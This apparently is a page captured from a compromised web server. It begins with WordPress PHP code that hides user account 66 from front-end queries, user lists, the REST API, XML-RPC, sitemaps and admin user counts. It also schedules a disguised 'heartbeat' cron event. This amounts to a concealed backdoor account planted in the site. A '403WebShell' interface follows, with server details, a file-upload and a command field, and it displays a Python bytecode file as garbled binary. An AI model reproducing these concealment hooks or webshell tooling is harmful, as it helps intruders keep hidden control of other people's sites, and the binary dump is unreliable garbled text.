add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/lib/python3.12/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/lib/python3.12/test/support/__pycache__/bytecode_helper.cpython-312.pyc
�

:5j�����dZddlZddlZddlZddlmZmZmZe�Z	Gd�dej�ZGd�dej�ZGd�d	e�Z
Gd
�de�ZGd�d
e�Zy)zGbytecode_helper - support tools for testing correct bytecode generation�N)�compiler_codegen�optimize_cfg�assemble_code_objectc�*�eZdZdZd�Zefd�Zefd�Zy)�BytecodeTestCasez1Custom assertion methods for inspecting bytecode.c�x�tj�}tj||��|j�S)N)�file)�io�StringIO�dis�getvalue)�self�co�ss   �3/usr/lib/python3.12/test/support/bytecode_helper.py�get_disassembly_as_stringz*BytecodeTestCase.get_disassembly_as_string
s'���K�K�M���������z�z�|��c�F�|j|tj�tj|�D]-}|j|k(s�|t
us|j|k(s�+|cS|j|�}|t
ur|�d|��}n
d}||||fz}|j|�y)zAReturns instr if opname is found, otherwise throws AssertionErrorz not found in bytecode:
z!(%s,%r) not found in bytecode:
%sN)	�assertInr�opmap�get_instructions�opname�_UNSPECIFIED�argvalr�fail�r�xrr�instr�disassembly�msgs       r�assertInBytecodez!BytecodeTestCase.assertInBytecodes����
�
�f�c�i�i�(��)�)�!�,�	!�E��|�|�v�%��\�)�U�\�\�V�-C� �L�	!��4�4�Q�7���\�!�5;�[�I�C�6�C�����5�5�C��	�	�#�rc�R�|j|tj�tj|�D]o}|j|k(s�|j|�}|tur|�d|��}|j|��E|j|k(s�Ud}||||fz}|j|��qy)z(Throws AssertionError if opname is foundz occurs in bytecode:
z(%s,%r) occurs in bytecode:
%sN)	rrrrrrrrrrs       r�assertNotInBytecodez$BytecodeTestCase.assertNotInBytecode!s����
�
�f�c�i�i�(��)�)�!�,�		#�E��|�|�v�%�"�<�<�Q�?���\�)�:@�+�N�C��I�I�c�N��\�\�V�+�;�C����� =�=�C��I�I�c�N�		#rN)�__name__�
__module__�__qualname__�__doc__rrr!r#�rrrr
s��;��
2>�
�5A�#rrc���eZdZeej
�Zeejejzejz�Z
eje
�ZGd�d�Z
d�Zd�Zd�Zd�Zy)�CompilationStepTestCasec��eZdZy)�CompilationStepTestCase.LabelN)r$r%r&r(rr�Labelr,5s��rr-c��|j|t�|j|t�|j|�}|j|�}|jt	|�t	|��t||�D]�\}}t
|t�r|j||��)|j|t�|j|t�t	|�t	|�kDr|dt	|�}|j||���y�N)	�assertIsInstance�list�normalize_insts�assertEqual�len�zip�
isinstance�int�tuple)r�actual_�	expected_�actual�expected�act�exps       r�assertInstructionsMatchz/CompilationStepTestCase.assertInstructionsMatch8s���
	
���g�t�,����i��.��%�%�g�.���'�'�	�2������V��c�(�m�4��F�H�-�		'�H�C���#�s�#�� � ��c�*���!�!�#�u�-��!�!�#�u�-��3�x�#�c�(�"��)�3�s�8�n�����S�#�&�		'rc��d}g}|D]T}t||jtf�sJ�t||j�r||_�?|dz
}|j	|��V|S)Nr�)r6r-r8�value�append)r�insts�idx�res�items     r�resolveAndRemoveLabelsz.CompilationStepTestCase.resolveAndRemoveLabelsPse�������	!�D��d�T�Z�Z��$7�8�8�8��$��
�
�+� ��
��q����
�
�4� �
	!��
rc�d�|j|�}g}|D]�}t|t�sJ�|^}}}tjj||�}t||j�r
|j}n||jvr|nd}tj|}|j||g|�����|S)zN Map labels to instruction index.
            Map opcodes to opnames.
        N)rHr6r8rr�getr-rB�HAS_ARGrrC)rrDrFrG�opcode�oparg�loc�args        rr2z'CompilationStepTestCase.normalize_insts]s����+�+�E�2�����		,�D��d�E�*�*�*�"&��F�E�C��Y�Y�]�]�6�6�2�F��%����,��k�k��%����5�e�4���Z�Z��'�F��J�J���*�c�*�+�		,��
rc���g}|D]h}t|t�sJ�t|�}tj|d}|d}|dddgdt|�z
zz}|j
||g|����j|S)NrrA�����)r6r8r1rrr4rC)rrDrFrG�instrLrMrNs        r�complete_insts_infoz+CompilationStepTestCase.complete_insts_infoos������	.�D��d�E�*�*�*���:�D��Y�Y�t�A�w�'�F���G�E��q�r�(�b�T�Q��T��]�3�3�C��J�J���,��,�-�
	.��
rN)r$r%r&�setr�hasargrK�hasjrel�hasjabs�hasexc�
HAS_TARGET�union�HAS_ARG_OR_TARGETr-r?rHr2rUr(rrr*r*/s\���#�*�*�o�G��S�[�[�3�;�;�.����;�<�J��
�
�j�1��
�
�'�0��$
rr*c��eZdZd�Zy)�CodegenTestCasec�&�t|dd�\}}|S)Nz
my_file.pyr)r)r�astrD�_s    r�
generate_codezCodegenTestCase.generate_code~s��#�C��q�9���q��rN)r$r%r&rcr(rrr_r_|s��rr_c��eZdZdd�Zy)�CfgOptimizationTestCasec�h�|j|�}|j|�}t|||�}||fSr/)r2rUr)rrD�consts�nlocalss    r�
get_optimizedz%CfgOptimizationTestCase.get_optimized�s:���$�$�U�+���(�(��/���U�F�G�4���f�}�rN)r)r$r%r&rir(rrrere�s��rrec��eZdZd�Zy)�AssemblerTestCasec� �t|||�}|Sr/)r)r�filenamerD�metadatars     r�get_code_objectz!AssemblerTestCase.get_code_object�s��
!�(�E�8�
<���	rN)r$r%r&ror(rrrkrk�s��rrk)r'�unittestrr
�_testinternalcapirrr�objectr�TestCaserr*r_rerkr(rr�<module>rtsm��M��
�	�R�R��x��##�x�(�(�##�JJ�h�/�/�J�Z�-���5���/�r

Youez - 2016 - github.com/yon3zu
LinuXploit